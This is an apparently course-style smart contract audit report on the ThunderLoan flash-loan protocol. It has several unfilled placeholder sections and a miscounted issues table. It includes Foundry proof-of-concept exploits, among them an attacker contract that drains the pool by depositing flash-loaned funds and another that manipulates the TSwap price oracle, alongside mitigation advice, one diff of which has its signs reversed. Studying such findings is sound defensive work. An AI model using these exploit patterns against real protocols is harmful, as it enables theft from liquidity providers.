

ThunderLoan Protocol Audit Report

Version 1.0

IDorando

September 30, 2026

Protocol Audit Report

IDorando

September 30, 2026

Prepared by: [IDorando] Lead Auditors: - IDorando

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
- Highs
- [H-1] Erroneous `ThunderLoan::updateExchange` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate
 - Description:
 - Impact:
 - Proof of Concept:
 - Recommended Mitigation:

- [H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol
 - Description:
 - Impact:
 - Proof of Concept:
 - Recommendations:
- [H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`
 - **Description:** `ThunderLoan.sol` has two variables in the following order:
 - **Impact:** After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.
 - **Proof of Code:**
 - **Recommended Mitigation:**
- Mediums
- [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks
 - Description:
 - Impact:
 - Proof of Concept:
 - Proof of code :
 - Recommendations:

Protocol Summary

Protocol does X, Y, Z

Disclaimer

The IDorando team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact			
Likelihood	High	H	H/M	M	
	Medium	H/M	M	M/L	
	Low	M	M/L	L	

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

Roles

Executive Summary

Issues found

Severty	Number of issues found
High	3
Medium	1
Low	0
Info	0
Total	0

Findings

Highs

[H-1] Erroneous ThunderLoan::updateExchange in the deposit function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description:

In the ThunderLoan system, the exchangeRate is responsible for calculating the exchange rate between asset tokens and underlying tokens. In a way it's responsible for keeping track of how many fees to give liquidity providers.

However, the deposit function updates this rate without collecting any fees!

```
1 function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
2     AssetToken assetToken = s_tokenToAssetToken[token];
3     uint256 exchangeRate = assetToken.getExchangeRate();
4     uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
        ) / exchangeRate;
5     emit Deposit(msg.sender, token, amount);
6     assetToken.mint(msg.sender, mintAmount);
7
8     // @Audit-High
9     @> // uint256 calculatedFee = getCalculatedFee(token, amount);
10    @> // assetToken.updateExchangeRate(calculatedFee);
11
12    token.safeTransferFrom(msg.sender, address(assetToken), amount);
13 }
```

Impact:

1. The redeem function is blocked, because the protocol thinks the amount to be redeemed is more than it's balance.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than they deserve.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

```
1 function testRedeemAfterLoan() public setAllowedToken hasDeposits {
2     uint256 amountToBorrow = AMOUNT * 10;
3     uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
4         amountToBorrow);
5     tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
6
7     vm.startPrank(user);
8     thunderLoan.flashLoan(address(mockFlashLoanReceiver), tokenA,
9         amountToBorrow, "");
10    vm.stopPrank();
11
12    uint256 amountToRedeem = type(uint256).max;
13    vm.startPrank(LiquidityProvider);
14    thunderLoan.redeem(tokenA, amountToRedeem);
15 }
```

Recommended Mitigation:

```
1 function deposit(IERC20 token, uint256 amount) external revertIfZero(
2     amount) revertIfNotAllowedToken(token) {
3     AssetToken assetToken = s_tokenToAssetToken[token];
4     uint256 exchangeRate = assetToken.getExchangeRate();
5     uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
6         ) / exchangeRate;
7     emit Deposit(msg.sender, token, amount);
8     assetToken.mint(msg.sender, mintAmount);
9
10    - uint256 calculatedFee = getCalculatedFee(token, amount);
11    - assetToken.updateExchangeRate(calculatedFee);
12
13    token.safeTransferFrom(msg.sender, address(assetToken), amount);
14 }
```

[H-2] By calling a flashloan and then ThunderLoan::deposit instead of ThunderLoan::repay users can steal all funds from the protocol

Description:

By calling the deposit function to repay a loan, an attacker can meet the flashloan's repayment check, while being allowed to later redeem their deposited tokens, stealing the loan funds.

Impact:

This exploit drains the liquidity pool for the flash loaned token, breaking internal accounting and stealing all funds.

Proof of Concept:

Attacker executes a flashloan

Borrowed funds are deposited into ThunderLoan via a malicious contract's executeOperation function

Flashloan check passes due to check vs starting AssetToken Balance being equal to the post deposit amount

Attacker is able to call redeem on ThunderLoan to withdraw the deposited tokens after the flash loan as resolved.

```
1  function testUseDepositInsteadOfRepayToStealFunds() public
    setAllowedToken hasDeposits {
2      uint256 amountToBorrow = 50e18;
3      DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
4      uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
5      vm.startPrank(user);
6      tokenA.mint(address(dor), fee);
7      thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
8      dor.redeemMoney();
9      vm.stopPrank();
10
11     assert(tokenA.balanceOf(address(dor)) > fee);
12 }
13
14 contract DepositOverRepay is IFlashLoanReceiver {
15     ThunderLoan thunderLoan;
16     AssetToken assetToken;
17     IERC20 s_token;
```

```
18
19     constructor(address _thunderLoan) {
20         thunderLoan = ThunderLoan(_thunderLoan);
21     }
22
23     function executeOperation(
24         address token,
25         uint256 amount,
26         uint256 fee,
27         address, /*initiator*/
28         bytes calldata /*params*/
29     )
30     external
31     returns (bool)
32     {
33         s_token = IERC20(token);
34         assetToken = thunderLoan.getAssetFromToken(IERC20(token));
35         s_token.approve(address(thunderLoan), amount + fee);
36         thunderLoan.deposit(IERC20(token), amount + fee);
37         return true;
38     }
39
40     function redeemMoney() public {
41         uint256 amount = assetToken.balanceOf(address(this));
42         thunderLoan.redeem(s_token, amount);
43     }
44 }
```

Recommendations:

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
2      amount) revertIfNotAllowedToken(token) {
3      +   if (s_currentlyFlashLoaning[token]) {
4      +       revert ThunderLoan__CurrentlyFlashLoaning();
5      +   }
6      AssetToken assetToken = s_tokenToAssetToken[token];
7      uint256 exchangeRate = assetToken.getExchangeRate();
8      uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
9          ) / exchangeRate;
10     emit Deposit(msg.sender, token, amount);
11     assetToken.mint(msg.sender, mintAmount);
12
13     uint256 calculatedFee = getCalculatedFee(token, amount);
14     assetToken.updateExchangeRate(calculatedFee);
15
16     token.safeTransferFrom(msg.sender, address(assetToken), amount);
17 }
```

[H-3] Mixing up variable location causes storage collisions in ThunderLoan::s_flashLoanFee and ThunderLoan::s_currentlyFlashLoaning

Description: ThunderLoan.sol has two variables in the following order:

```
1      uint256 private s_feePrecision;  
2      uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract ThunderLoanUpgraded.sol has them in a different order.

```
1      uint256 private s_flashLoanFee; // 0.3% ETH fee  
2      uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

Code

Add the following code to the `ThunderLoanTest.t.sol` file.

```
1      // You'll need to import `ThunderLoanUpgraded` as well  
2      import { ThunderLoanUpgraded } from "../src/upgradedProtocol/  
        ThunderLoanUpgraded.sol";  
3  
4      function testUpgradeBreaks() public {  
5          uint256 feeBeforeUpgrade = thunderLoan.getFee();  
6          vm.startPrank(thunderLoan.owner());  
7          ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();  
8          thunderLoan.upgradeTo(address(upgraded));  
9          uint256 feeAfterUpgrade = thunderLoan.getFee();  
10  
11         assert(feeBeforeUpgrade != feeAfterUpgrade);  
12     }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation:

Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
1 - uint256 private s_flashLoanFee; // 0.3% ETH fee
2 - uint256 public constant FEE_PRECISION = 1e18;
3 + uint256 private s_blank;
4 + uint256 private s_flashLoanFee;
5 + uint256 public constant FEE_PRECISION = 1e18;
```

Mediums

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description:

The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact:

Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

User takes a flash loan from ThunderLoan for 1000 tokenA. They are charged the original fee fee1. During the flash loan, they do the following:

User sells 1000 tokenA, tanking the price.

Instead of repaying right away, the user takes out another flash loan for another 1000 tokenA.

Due to the fact that the way ThunderLoan calculates price based on the TSwapPool this second flash loan is substantially cheaper.

```
1 function getPriceInWeth(address token) public view returns (uint256) {
2     address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token
3     );
4     @> return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
5     ();
6 }
```

3. The user then repays the first flash loan, and then repays the second flash loan.

Proof of code :

```
1 function testOracleManipulation() public {
2     // 1. Setup contracts
3     thunderLoan = new ThunderLoan();
4     tokenA = new ERC20Mock();
5     proxy = new ERC1967Proxy(address(thunderLoan), "");
6     BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
7     // Create a TSwap Dex between WETH/ TokenA and initialize Thunder
8     Loan
9     address tswapPool = pf.createPool(address(tokenA));
10    thunderLoan = ThunderLoan(address(proxy));
11    thunderLoan.initialize(address(pf));
12
13    // 2. Fund TSwap
14    vm.startPrank(LiquidityProvider);
15    tokenA.mint(LiquidityProvider, 100e18);
16    tokenA.approve(address(tswapPool), 100e18);
17    weth.mint(LiquidityProvider, 100e18);
18    weth.approve(address(tswapPool), 100e18);
19    BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
20    timestamp);
21    vm.stopPrank();
22
23    // 3. Fund ThunderLoan
24    vm.prank(thunderLoan.owner());
25    thunderLoan.setAllowedToken(tokenA, true);
26    vm.startPrank(LiquidityProvider);
27    tokenA.mint(LiquidityProvider, 100e18);
28    tokenA.approve(address(thunderLoan), 100e18);
29    thunderLoan.deposit(tokenA, 100e18);
30    vm.stopPrank();
31
32    uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18
33    );
34    console2.log("Normal Fee is:", normalFeeCost);
35 }
```

```
33 // 4. Execute 2 Flash Loans
34 uint256 amountToBorrow = 50e18;
35 MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
36     address(tswapPool), address(thunderLoan), address(thunderLoan.
37         getAssetFromToken(tokenA))
38 );
39 vm.startPrank(user);
40 tokenA.mint(address(flr), 100e18);
41 thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, ""); //
42     the executeOperation function of flr will
43     // actually call flashloan a second time.
44 vm.stopPrank();
45 uint256 attackFee = flr.feeOne() + flr.feeTwo();
46 console2.log("Attack Fee is:", attackFee);
47 assert(attackFee < normalFeeCost);
48 }
49
50 contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
51     ThunderLoan thunderLoan;
52     address repayAddress;
53     BuffMockTSwap tswapPool;
54     bool attacked;
55     uint256 public feeOne;
56     uint256 public feeTwo;
57
58     // 1. Swap TokenA borrowed for WETH
59     // 2. Take out a second flash loan to compare fees
60     constructor(address _tswapPool, address _thunderLoan, address
61         _repayAddress) {
62         tswapPool = BuffMockTSwap(_tswapPool);
63         thunderLoan = ThunderLoan(_thunderLoan);
64         repayAddress = _repayAddress;
65     }
66
67     function executeOperation(
68         address token,
69         uint256 amount,
70         uint256 fee,
71         address, /*initiator*/
72         bytes calldata /*params*/
73     )
74     external
75     returns (bool)
76     {
77         if (!attacked) {
78             feeOne = fee;
79             attacked = true;
80             uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
81                 (50e18, 100e18, 100e18);
```

```
80         IERC20(token).approve(address(tswapPool), 50e18);
81         // Tanks the price:
82         tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
83             wethBought, block.timestamp);
84         // Second Flash Loan!
85         thunderLoan.flashloan(address(this), IERC20(token), amount,
86             "");
87         // We repay the flash loan via transfer since the repay
88         // function won't let us!
89         IERC20(token).transfer(address(repayAddress), amount + fee)
90         ;
91     } else {
92         // calculate the fee and repay
93         feeTwo = fee;
94         // We repay the flash loan via transfer since the repay
95         // function won't let us!
96         IERC20(token).transfer(address(repayAddress), amount + fee)
97         ;
98     }
99     return true;
100 }
```

Recommendations:

Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.